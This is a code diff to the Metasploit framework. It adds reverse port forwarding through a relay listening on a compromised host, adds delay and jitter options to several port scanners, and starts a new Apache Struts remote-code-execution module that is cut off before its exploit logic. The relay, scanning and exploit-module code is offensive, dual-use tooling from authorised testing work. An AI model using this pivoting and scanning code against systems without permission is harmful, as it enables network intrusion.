args.unshift('list') if args.empty?
|
||||
|
||||
# For clarity's sake.
|
||||
lport = nil
|
||||
lhost = nil
|
||||
rport = nil
|
||||
rhost = nil
|
||||
reverse = false
|
||||
index = nil
|
||||
|
||||
# Parse the options
|
||||
@@portfwd_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-h"
|
||||
when '-h'
|
||||
cmd_portfwd_help
|
||||
return true
|
||||
when "-l"
|
||||
when '-l'
|
||||
lport = val.to_i
|
||||
when "-L"
|
||||
when '-L'
|
||||
lhost = val
|
||||
when "-p"
|
||||
when '-p'
|
||||
rport = val.to_i
|
||||
when "-r"
|
||||
when '-r'
|
||||
rhost = val
|
||||
when '-R'
|
||||
reverse = true
|
||||
when '-i'
|
||||
index = val.to_i
|
||||
end
|
||||
}
|
||||
|
||||
|
@ -394,7 +410,13 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
|
||||
# Process the command
|
||||
case args.shift
|
||||
when "list"
|
||||
when 'list'
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Active Port Forwards',
|
||||
'Indent' => 3,
|
||||
'SortIndex' => -1,
|
||||
'Columns' => ['Index', 'Local', 'Remote', 'Direction'])
|
||||
|
||||
cnt = 0
|
||||
|
||||
|
@ -402,62 +424,143 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
service.each_tcp_relay { |lhost, lport, rhost, rport, opts|
|
||||
next if (opts['MeterpreterRelay'] == nil)
|
||||
|
||||
print_line("#{cnt}: #{lhost}:#{lport} -> #{rhost}:#{rport}")
|
||||
direction = 'Forward'
|
||||
direction = 'Reverse' if opts['Reverse'] == true
|
||||
|
||||
if opts['Reverse'] == true
|
||||
table << [cnt + 1, "#{rhost}:#{rport}", "#{lhost}:#{lport}", 'Reverse']
|
||||
else
|
||||
table << [cnt + 1, "#{lhost}:#{lport}", "#{rhost}:#{rport}", 'Forward']
|
||||
end
|
||||
|
||||
cnt += 1
|
||||
}
|
||||
|
||||
print_line
|
||||
print_line("#{cnt} total local port forwards.")
|
||||
if cnt > 0
|
||||
print_line(table.to_s)
|
||||
print_line("#{cnt} total active port forwards.")
|
||||
else
|
||||
print_line('No port forwards are currently active.')
|
||||
end
|
||||
print_line
|
||||
|
||||
when 'add'
|
||||
|
||||
when "add"
|
||||
if reverse
|
||||
# Validate parameters
|
||||
unless lport && lhost && rport
|
||||
print_error('You must supply a local port, local host, and remote port.')
|
||||
return
|
||||
end
|
||||
|
||||
# Validate parameters
|
||||
if (!lport or !rhost or !rport)
|
||||
print_error("You must supply a local port, remote host, and remote port.")
|
||||
return
|
||||
begin
|
||||
channel = client.net.socket.create(
|
||||
Rex::Socket::Parameters.new(
|
||||
'LocalPort' => rport,
|
||||
'Proto' => 'tcp',
|
||||
'Server' => true
|
||||
)
|
||||
)
|
||||
|
||||
# Start the local TCP reverse relay in association with this stream
|
||||
service.start_reverse_tcp_relay(channel,
|
||||
'LocalPort' => rport,
|
||||
'PeerHost' => lhost,
|
||||
'PeerPort' => lport,
|
||||
'MeterpreterRelay' => true)
|
||||
rescue Exception => e
|
||||
print_error("Failed to create relay: #{e.to_s}")
|
||||
return false
|
||||
end
|
||||
|
||||
else
|
||||
# Validate parameters
|
||||
unless lport && rhost && rport
|
||||
print_error('You must supply a local port, remote host, and remote port.')
|
||||
return
|
||||
end
|
||||
|
||||
# Start the local TCP relay in association with this stream
|
||||
service.start_tcp_relay(lport,
|
||||
'LocalHost' => lhost,
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => rport,
|
||||
'MeterpreterRelay' => true,
|
||||
'OnLocalConnection' => Proc.new { |relay, lfd| create_tcp_channel(relay) })
|
||||
end
|
||||
|
||||
# Start the local TCP relay in association with this stream
|
||||
service.start_tcp_relay(lport,
|
||||
'LocalHost' => lhost,
|
||||
'PeerHost' => rhost,
|
||||
'PeerPort' => rport,
|
||||
'MeterpreterRelay' => true,
|
||||
'OnLocalConnection' => Proc.new { |relay, lfd|
|
||||
create_tcp_channel(relay)
|
||||
})
|
||||
|
||||
print_status("Local TCP relay created: #{lhost || '0.0.0.0'}:#{lport} <-> #{rhost}:#{rport}")
|
||||
print_status("Local TCP relay created: #{lhost}:#{lport} <-> #{rhost}:#{rport}")
|
||||
|
||||
# Delete local port forwards
|
||||
when "delete"
|
||||
when 'delete', 'remove', 'del', 'rm'
|
||||
|
||||
# No local port, no love.
|
||||
if (!lport)
|
||||
print_error("You must supply a local port.")
|
||||
return
|
||||
found = false
|
||||
unless index.nil?
|
||||
counter = 1
|
||||
service.each_tcp_relay do |lh, lp, rh, rp, opts|
|
||||
if counter == index
|
||||
lhost, lport, rhost, rport = lh, lp, rh, rp
|
||||
reverse = opts['Reverse'] == true
|
||||
found = true
|
||||
break
|
||||
end
|
||||
|
||||
counter += 1
|
||||
end
|
||||
|
||||
unless found
|
||||
print_error("Invalid index: #{index}")
|
||||
end
|
||||
end
|
||||
|
||||
# Stop the service
|
||||
if (service.stop_tcp_relay(lport, lhost))
|
||||
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||
if reverse
|
||||
# No remote port, no love.
|
||||
unless rport
|
||||
print_error('You must supply a remote port.')
|
||||
return
|
||||
end
|
||||
|
||||
if service.stop_reverse_tcp_relay(lport)
|
||||
print_status("Successfully stopped reverse TCP relay on :#{lport}")
|
||||
else
|
||||
print_error("Failed to stop reverse TCP relay on #{lport}")
|
||||
end
|
||||
else
|
||||
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||
# No local port, no love.
|
||||
unless lport
|
||||
print_error('You must supply a local port.')
|
||||
return
|
||||
end
|
||||
|
||||
# Stop the service
|
||||
if service.stop_tcp_relay(lport, lhost)
|
||||
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||
else
|
||||
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||
end
|
||||
end
|
||||
|
||||
when "flush"
|
||||
when 'flush'
|
||||
|
||||
counter = 0
|
||||
service.each_tcp_relay do |lhost, lport, rhost, rport, opts|
|
||||
next if (opts['MeterpreterRelay'] == nil)
|
||||
|
||||
if (service.stop_tcp_relay(lport, lhost))
|
||||
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||
if opts['Reverse'] == true
|
||||
if service.stop_reverse_tcp_relay(lport)
|
||||
print_status("Successfully stopped reverse TCP relay on :#{lport}")
|
||||
else
|
||||
print_error("Failed to stop reverse TCP relay on #{lport}")
|
||||
next
|
||||
end
|
||||
else
|
||||
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||
next
|
||||
if service.stop_tcp_relay(lport, lhost)
|
||||
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||
else
|
||||
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
||||
next
|
||||
end
|
||||
end
|
||||
|
||||
counter += 1
|
||||
|
@ -470,13 +573,13 @@ class Console::CommandDispatcher::Stdapi::Net
|
|||
end
|
||||
|
||||
def cmd_portfwd_help
|
||||
print_line "Usage: portfwd [-h] [add | delete | list | flush] [args]"
|
||||
print_line 'Usage: portfwd [-h] [add | delete | list | flush] [args]'
|
||||
print_line
|
||||
print @@portfwd_opts.usage
|
||||
end
|
||||
|
||||
def cmd_getproxy
|
||||
p = client.net.config.get_proxy_config()
|
||||
p = client.net.config.get_proxy_config
|
||||
print_line( "Auto-detect : #{p[:autodetect] ? "Yes" : "No"}" )
|
||||
print_line( "Auto config URL : #{p[:autoconfigurl]}" )
|
||||
print_line( "Proxy URL : #{p[:proxy]}" )
|
||||
|
|
|
@ -393,7 +393,17 @@ class ClientRequest
|
|||
# Return the content length header
|
||||
#
|
||||
def set_content_len_header(clen)
|
||||
return "" if clen == 0 || opts['chunked_size'] > 0 || (opts['headers'] && opts['headers']['Content-Length'])
|
||||
if opts['method'] == 'GET' && (clen == 0 || opts['chunked_size'] > 0)
|
||||
# This condition only applies to GET because of the specs.
|
||||
# RFC-7230:
|
||||
# A Content-Length header field is normally sent in a POST
|
||||
# request even when the value is 0 (indicating an empty payload body)
|
||||
return ''
|
||||
elsif opts['headers'] && opts['headers']['Content-Length']
|
||||
# If the module has a modified content-length header, respect that by
|
||||
# not setting another one.
|
||||
return ''
|
||||
end
|
||||
set_formatted_header("Content-Length", clen)
|
||||
end
|
||||
|
||||
|
|
|
@ -30,7 +30,7 @@ class LocalRelay
|
|||
# in.
|
||||
#
|
||||
def on_other_data(data)
|
||||
if (relay.on_other_data_proc)
|
||||
if relay.on_other_data_proc
|
||||
relay.on_other_data_proc.call(relay, self, data)
|
||||
else
|
||||
put(data)
|
||||
|
@ -55,7 +55,7 @@ class LocalRelay
|
|||
# value of the callback should be a Stream instance.
|
||||
#
|
||||
def on_local_connection(relay, lfd)
|
||||
if (relay.on_local_connection_proc)
|
||||
if relay.on_local_connection_proc
|
||||
relay.on_local_connection_proc.call(relay, lfd)
|
||||
end
|
||||
end
|
||||
|
@ -63,7 +63,6 @@ class LocalRelay
|
|||
attr_accessor :relay
|
||||
end
|
||||
|
||||
|
||||
###
|
||||
#
|
||||
# This class acts as an instance of a given local relay.
|
||||
|
@ -85,14 +84,14 @@ class LocalRelay
|
|||
|
||||
def shutdown
|
||||
begin
|
||||
listener.shutdown if (listener)
|
||||
listener.shutdown if listener
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
|
||||
def close
|
||||
begin
|
||||
listener.close if (listener)
|
||||
listener.close if listener
|
||||
rescue ::Exception
|
||||
end
|
||||
listener = nil
|
||||
|
@ -107,12 +106,51 @@ class LocalRelay
|
|||
|
||||
end
|
||||
|
||||
###
|
||||
#
|
||||
# This class acts as an instance of a local relay handling a reverse connection
|
||||
#
|
||||
###
|
||||
class ReverseRelay < Relay
|
||||
|
||||
def initialize(name, channel, opts = {})
|
||||
|
||||
self.name = name
|
||||
self.listener = nil
|
||||
self.opts = opts
|
||||
self.on_local_connection_proc = opts['OnLocalConnection']
|
||||
self.on_conn_close_proc = opts['OnConnectionClose']
|
||||
self.on_other_data_proc = opts['OnOtherData']
|
||||
self.channel = channel
|
||||
|
||||
if !$dispatcher['rex']
|
||||
register_log_source('rex', $dispatcher['core'], get_log_level('core'))
|
||||
end
|
||||
end
|
||||
|
||||
def shudown
|
||||
# don't need to do anything here, it's only "close" we care about
|
||||
end
|
||||
|
||||
def close
|
||||
self.channel.close if self.channel
|
||||
self.channel = nil
|
||||
end
|
||||
|
||||
attr_reader :channel
|
||||
|
||||
protected
|
||||
attr_writer :channel
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Initializes the local tcp relay monitor.
|
||||
#
|
||||
def initialize
|
||||
self.relays = Hash.new
|
||||
self.rfds = Array.new
|
||||
self.rev_chans = Array.new
|
||||
self.relay_thread = nil
|
||||
self.relay_mutex = Mutex.new
|
||||
end
|
||||
|
@ -153,8 +191,8 @@ class LocalRelay
|
|||
end
|
||||
|
||||
#
|
||||
# Stops the thread that monitors the local relays and destroys all local
|
||||
# listeners.
|
||||
# Stops the thread that monitors the local relays and destroys all
|
||||
# listeners, both local and remote.
|
||||
#
|
||||
def stop
|
||||
if (self.relay_thread)
|
||||
|
@ -170,16 +208,44 @@ class LocalRelay
|
|||
}
|
||||
}
|
||||
|
||||
# Flush the relay list and read fd list
|
||||
# make sure we kill off active sockets when we shut down
|
||||
while self.rfds.length > 0
|
||||
close_relay_conn(self.rfds.shift) rescue nil
|
||||
end
|
||||
|
||||
# we can safely clear the channels array because all of the
|
||||
# reverse relays were closed down
|
||||
self.rev_chans.clear
|
||||
self.relays.clear
|
||||
self.rfds.clear
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Adding/removing local tcp relays
|
||||
# Start a new active listener on the victim ready for reverse connections.
|
||||
#
|
||||
##
|
||||
def start_reverse_tcp_relay(channel, opts = {})
|
||||
opts['__RelayType'] = 'tcp'
|
||||
opts['Reverse'] = true
|
||||
|
||||
name = "Reverse-#{opts['LocalPort']}"
|
||||
|
||||
relay = ReverseRelay.new(name, channel, opts)
|
||||
|
||||
# dirty hack to get "relay" support?
|
||||
channel.extend(StreamServer)
|
||||
channel.relay = relay
|
||||
|
||||
self.relay_mutex.synchronize {
|
||||
self.relays[name] = relay
|
||||
self.rev_chans << channel
|
||||
}
|
||||
end
|
||||
|
||||
#
|
||||
# Stop an active reverse port forward.
|
||||
#
|
||||
def stop_reverse_tcp_relay(rport)
|
||||
stop_relay("Reverse-#{rport}")
|
||||
end
|
||||
|
||||
#
|
||||
# Starts a local TCP relay.
|
||||
|
@ -236,7 +302,7 @@ class LocalRelay
|
|||
self.relay_mutex.synchronize {
|
||||
relay = self.relays[name]
|
||||
|
||||
if (relay)
|
||||
if relay
|
||||
close_relay(relay)
|
||||
rv = true
|
||||
end
|
||||
|
@ -264,13 +330,19 @@ class LocalRelay
|
|||
protected
|
||||
|
||||
attr_accessor :relays, :relay_thread, :relay_mutex
|
||||
attr_accessor :rfds
|
||||
attr_accessor :rfds, :rev_chans
|
||||
|
||||
#
|
||||
# Closes an cleans up a specific relay
|
||||
#
|
||||
def close_relay(relay)
|
||||
self.rfds.delete(relay.listener)
|
||||
|
||||
if relay.kind_of?(ReverseRelay)
|
||||
self.rev_chans.delete(relay.channel)
|
||||
else
|
||||
self.rfds.delete(relay.listener)
|
||||
end
|
||||
|
||||
self.relays.delete(relay.name)
|
||||
|
||||
begin
|
||||
|
@ -291,7 +363,7 @@ protected
|
|||
self.rfds.delete(fd)
|
||||
|
||||
begin
|
||||
if (relay.on_conn_close_proc)
|
||||
if relay.on_conn_close_proc
|
||||
relay.on_conn_close_proc.call(fd)
|
||||
end
|
||||
|
||||
|
@ -300,7 +372,7 @@ protected
|
|||
rescue IOError
|
||||
end
|
||||
|
||||
if (ofd)
|
||||
if ofd
|
||||
self.rfds.delete(ofd)
|
||||
|
||||
begin
|
||||
|
@ -315,6 +387,35 @@ protected
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Attempt to accept a new reverse connection on the given reverse
|
||||
# relay handle.
|
||||
#
|
||||
def accept_reverse_relay(rrfd)
|
||||
|
||||
rfd = rrfd.accept_nonblock
|
||||
|
||||
return unless rfd
|
||||
|
||||
lfd = Rex::Socket::Tcp.create(
|
||||
'PeerHost' => rrfd.relay.opts['PeerHost'],
|
||||
'PeerPort' => rrfd.relay.opts['PeerPort'],
|
||||
'Timeout' => 5
|
||||
)
|
||||
|
||||
rfd.extend(Stream)
|
||||
lfd.extend(Stream)
|
||||
|
||||
rfd.relay = rrfd.relay
|
||||
lfd.relay = rrfd.relay
|
||||
|
||||
self.rfds << lfd
|
||||
self.rfds << rfd
|
||||
|
||||
rfd.other_stream = lfd
|
||||
lfd.other_stream = rfd
|
||||
end
|
||||
|
||||
#
|
||||
# Accepts a client connection on a local relay.
|
||||
#
|
||||
|
@ -342,7 +443,7 @@ protected
|
|||
# If we have both sides, then we rock. Extend the instances, associate
|
||||
# them with the relay, associate them with each other, and add them to
|
||||
# the list of polling file descriptors
|
||||
if (lfd and rfd)
|
||||
if lfd && rfd
|
||||
lfd.extend(Stream)
|
||||
rfd.extend(Stream)
|
||||
|
||||
|
@ -354,9 +455,8 @@ protected
|
|||
|
||||
self.rfds << lfd
|
||||
self.rfds << rfd
|
||||
|
||||
# Otherwise, we don't have both sides, we'll close them.
|
||||
else
|
||||
# Otherwise, we don't have both sides, we'll close them.
|
||||
close_relay_conn(lfd)
|
||||
end
|
||||
end
|
||||
|
@ -369,6 +469,12 @@ protected
|
|||
# Helps with latency
|
||||
Thread.current.priority = 2
|
||||
|
||||
# See if we have any new connections on the existing reverse port
|
||||
# forward relays
|
||||
rev_chans.each do |rrfd|
|
||||
accept_reverse_relay(rrfd)
|
||||
end
|
||||
|
||||
# Poll all the streams...
|
||||
begin
|
||||
socks = Rex::ThreadSafe.select(rfds, nil, nil, 0.25)
|
||||
|
@ -377,7 +483,7 @@ protected
|
|||
|
||||
# Close the relay connection that is associated with the stream
|
||||
# closed error
|
||||
if (e.stream.kind_of?(Stream))
|
||||
if e.stream.kind_of?(Stream)
|
||||
close_relay_conn(e.stream)
|
||||
end
|
||||
|
||||
|
@ -398,9 +504,9 @@ protected
|
|||
# If this file descriptor is a server, accept the connection
|
||||
if (rfd.kind_of?(StreamServer))
|
||||
accept_relay_conn(rfd)
|
||||
# Otherwise, it's a relay connection, read data from one side
|
||||
# and write it to the other
|
||||
else
|
||||
# Otherwise, it's a relay connection, read data from one side
|
||||
# and write it to the other
|
||||
begin
|
||||
# Pass the data onto the other fd, most likely writing it.
|
||||
data = rfd.sysread(65536)
|
||||
|
|
|
@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
|||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'#, '1.1.0'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.8'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '1.1.10'
|
||||
# Needed by msfgui and other rpc components
|
||||
spec.add_runtime_dependency 'msgpack'
|
||||
# get list of network interfaces, like eth* from OS.
|
||||
|
|
|
@ -27,6 +27,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
|
||||
OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]),
|
||||
OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]),
|
||||
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
|
||||
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]),
|
||||
OptString.new('INTERFACE', [false, 'The name of the interface'])
|
||||
], self.class)
|
||||
|
||||
|
@ -43,16 +45,26 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run_batch(hosts)
|
||||
open_pcap
|
||||
|
||||
pcap = self.capture
|
||||
|
||||
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
|
||||
if ports.empty?
|
||||
raise Msf::OptionValidateError.new(['PORTS'])
|
||||
end
|
||||
|
||||
jitter_value = datastore['JITTER'].to_i
|
||||
if jitter_value < 0
|
||||
raise Msf::OptionValidateError.new(['JITTER'])
|
||||
end
|
||||
|
||||
delay_value = datastore['DELAY'].to_i
|
||||
if delay_value < 0
|
||||
raise Msf::OptionValidateError.new(['DELAY'])
|
||||
end
|
||||
|
||||
open_pcap
|
||||
|
||||
pcap = self.capture
|
||||
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
|
||||
# we copy the hosts because some may not be reachable and need to be ejected
|
||||
|
@ -64,6 +76,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
pcap.setfilter(getfilter(shost, sport, dhost, dport))
|
||||
|
||||
# Add the delay based on JITTER and DELAY if needs be
|
||||
add_delay_jitter(delay_value,jitter_value)
|
||||
|
||||
begin
|
||||
probe = buildprobe(shost, sport, dhost, dport)
|
||||
|
||||
|
|
|
@ -26,7 +26,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
register_options([
|
||||
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
|
||||
OptAddress.new('BOUNCEHOST', [true, "FTP relay host"]),
|
||||
OptPort.new('BOUNCEPORT', [true, "FTP relay port", 21])
|
||||
OptPort.new('BOUNCEPORT', [true, "FTP relay port", 21]),
|
||||
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
|
||||
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0])
|
||||
])
|
||||
|
||||
deregister_options('RHOST', 'RPORT')
|
||||
|
@ -47,11 +49,20 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
def run_host(ip)
|
||||
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
|
||||
if ports.empty?
|
||||
raise Msf::OptionValidateError.new(['PORTS'])
|
||||
end
|
||||
|
||||
jitter_value = datastore['JITTER'].to_i
|
||||
if jitter_value < 0
|
||||
raise Msf::OptionValidateError.new(['JITTER'])
|
||||
end
|
||||
|
||||
delay_value = datastore['DELAY'].to_i
|
||||
if delay_value < 0
|
||||
raise Msf::OptionValidateError.new(['DELAY'])
|
||||
end
|
||||
|
||||
return if not connect_login
|
||||
|
||||
ports.each do |port|
|
||||
|
@ -64,8 +75,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
begin
|
||||
host = (ip.split('.') + [port / 256, port % 256]).join(',')
|
||||
|
||||
# Add the delay based on JITTER and DELAY if needs be
|
||||
add_delay_jitter(delay_value,jitter_value)
|
||||
|
||||
host = (ip.split('.') + [port / 256, port % 256]).join(',')
|
||||
resp = send_cmd(["PORT", host])
|
||||
|
||||
if resp =~ /^5/
|
||||
|
|
|
@ -25,6 +25,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
|
||||
OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]),
|
||||
OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]),
|
||||
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
|
||||
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]),
|
||||
OptString.new('INTERFACE', [false, 'The name of the interface'])
|
||||
], self.class)
|
||||
|
||||
|
@ -41,16 +43,24 @@ class MetasploitModule < Msf::Auxiliary
|
|||
end
|
||||
|
||||
def run_batch(hosts)
|
||||
open_pcap
|
||||
|
||||
pcap = self.capture
|
||||
|
||||
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
|
||||
if ports.empty?
|
||||
raise Msf::OptionValidateError.new(['PORTS'])
|
||||
end
|
||||
|
||||
jitter_value = datastore['JITTER'].to_i
|
||||
if jitter_value < 0
|
||||
raise Msf::OptionValidateError.new(['JITTER'])
|
||||
end
|
||||
|
||||
delay_value = datastore['DELAY'].to_i
|
||||
if delay_value < 0
|
||||
raise Msf::OptionValidateError.new(['DELAY'])
|
||||
end
|
||||
|
||||
open_pcap
|
||||
pcap = self.capture
|
||||
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
|
||||
# we copy the hosts because some may not be reachable and need to be ejected
|
||||
|
@ -62,6 +72,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
self.capture.setfilter(getfilter(shost, sport, dhost, dport))
|
||||
|
||||
# Add the delay based on JITTER and DELAY if needs be
|
||||
add_delay_jitter(delay_value,jitter_value)
|
||||
|
||||
begin
|
||||
probe = buildprobe(shost, sport, dhost, dport)
|
||||
|
||||
|
|
|
@ -17,7 +17,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
def initialize
|
||||
super(
|
||||
'Name' => 'TCP Port Scanner',
|
||||
'Description' => 'Enumerate open TCP services',
|
||||
'Description' => %q{
|
||||
Enumerate open TCP services by performing a full TCP connect on each port.
|
||||
This does not need administrative privileges on the source machine, which
|
||||
may be useful if pivoting.
|
||||
},
|
||||
'Author' => [ 'hdm', 'kris katterjohn' ],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
|
@ -27,13 +31,14 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
|
||||
OptInt.new('TIMEOUT', [true, "The socket connect timeout in milliseconds", 1000]),
|
||||
OptInt.new('CONCURRENCY', [true, "The number of concurrent ports to check per host", 10]),
|
||||
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
|
||||
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]),
|
||||
], self.class)
|
||||
|
||||
deregister_options('RPORT')
|
||||
|
||||
end
|
||||
|
||||
|
||||
def run_host(ip)
|
||||
|
||||
timeout = datastore['TIMEOUT'].to_i
|
||||
|
@ -44,6 +49,16 @@ class MetasploitModule < Msf::Auxiliary
|
|||
raise Msf::OptionValidateError.new(['PORTS'])
|
||||
end
|
||||
|
||||
jitter_value = datastore['JITTER'].to_i
|
||||
if jitter_value < 0
|
||||
raise Msf::OptionValidateError.new(['JITTER'])
|
||||
end
|
||||
|
||||
delay_value = datastore['DELAY'].to_i
|
||||
if delay_value < 0
|
||||
raise Msf::OptionValidateError.new(['DELAY'])
|
||||
end
|
||||
|
||||
while(ports.length > 0)
|
||||
t = []
|
||||
r = []
|
||||
|
@ -53,6 +68,11 @@ class MetasploitModule < Msf::Auxiliary
|
|||
break if not this_port
|
||||
t << framework.threads.spawn("Module(#{self.refname})-#{ip}:#{this_port}", false, this_port) do |port|
|
||||
begin
|
||||
|
||||
# Add the delay based on JITTER and DELAY if needs be
|
||||
add_delay_jitter(delay_value,jitter_value)
|
||||
|
||||
# Actually perform the TCP connection
|
||||
s = connect(false,
|
||||
{
|
||||
'RPORT' => port,
|
||||
|
|
|
@ -27,6 +27,8 @@ class MetasploitModule < Msf::Auxiliary
|
|||
OptString.new('PORTS', [true, "Ports to scan (e.g. 22-25,80,110-900)", "1-10000"]),
|
||||
OptInt.new('TIMEOUT', [true, "The reply read timeout in milliseconds", 500]),
|
||||
OptInt.new('BATCHSIZE', [true, "The number of hosts to scan per set", 256]),
|
||||
OptInt.new('DELAY', [true, "The delay between connections, per thread, in milliseconds", 0]),
|
||||
OptInt.new('JITTER', [true, "The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.", 0]),
|
||||
OptString.new('INTERFACE', [false, 'The name of the interface'])
|
||||
], self.class)
|
||||
|
||||
|
@ -48,11 +50,20 @@ class MetasploitModule < Msf::Auxiliary
|
|||
pcap = self.capture
|
||||
|
||||
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
|
||||
|
||||
if ports.empty?
|
||||
raise Msf::OptionValidateError.new(['PORTS'])
|
||||
end
|
||||
|
||||
jitter_value = datastore['JITTER'].to_i
|
||||
if jitter_value < 0
|
||||
raise Msf::OptionValidateError.new(['JITTER'])
|
||||
end
|
||||
|
||||
delay_value = datastore['DELAY'].to_i
|
||||
if delay_value < 0
|
||||
raise Msf::OptionValidateError.new(['DELAY'])
|
||||
end
|
||||
|
||||
to = (datastore['TIMEOUT'] || 500).to_f / 1000.0
|
||||
|
||||
# we copy the hosts because some may not be reachable and need to be ejected
|
||||
|
@ -67,6 +78,9 @@ class MetasploitModule < Msf::Auxiliary
|
|||
begin
|
||||
probe = buildprobe(shost, sport, dhost, dport)
|
||||
|
||||
# Add the delay based on JITTER and DELAY if needs be
|
||||
add_delay_jitter(delay_value,jitter_value)
|
||||
|
||||
unless capture_sendto(probe, dhost)
|
||||
host_queue.delete(dhost)
|
||||
next
|
||||
|
|
|
@ -8,9 +8,13 @@ require 'msf/core'
|
|||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
deprecated(Date.new(2016, 6, 1), 'exploit/multi/http/struts_dmi_exec')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
|
||||
|
|
|
@ -0,0 +1,203 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts Dynamic Method Invocation Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a remote command execution vulnerability in Apache Struts
|
||||
version between 2.3.20 and 2.3.28 (except 2.3.20.2 and 2.3.24.2). Remote Code
|
||||
Execution can be performed via method: prefix when Dynamic Method Invocation
|
||||
is enabled.
|
||||
},
|
||||
'Author' => [
|
||||
'Nixawk', # original metasploit module
|
||||
'rungobier' # improved metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-3081' ],
|
||||
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ]
|
||||
],
|
||||
'Platform' => %w{ java linux win },
|
||||
'Privileged' => true,
|
||||
'Targets' =>
|
||||
[
|
||||
['Windows Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'win'
|
||||
}
|
||||
],
|
||||
['Linux Universal',
|
||||
{
|
||||
'Arch' => ARCH_X86,
|
||||
'Platform' => 'linux'
|
||||
}
|
||||
],
|
||||
[ 'Java Universal',
|
||||
{
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Platform' => 'java'
|
||||
},
|
||||
]
|
||||
],
|
||||
'DisclosureDate' => 'Apr 27 2016',
|
||||
'DefaultTarget' => 2))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']),
|
||||
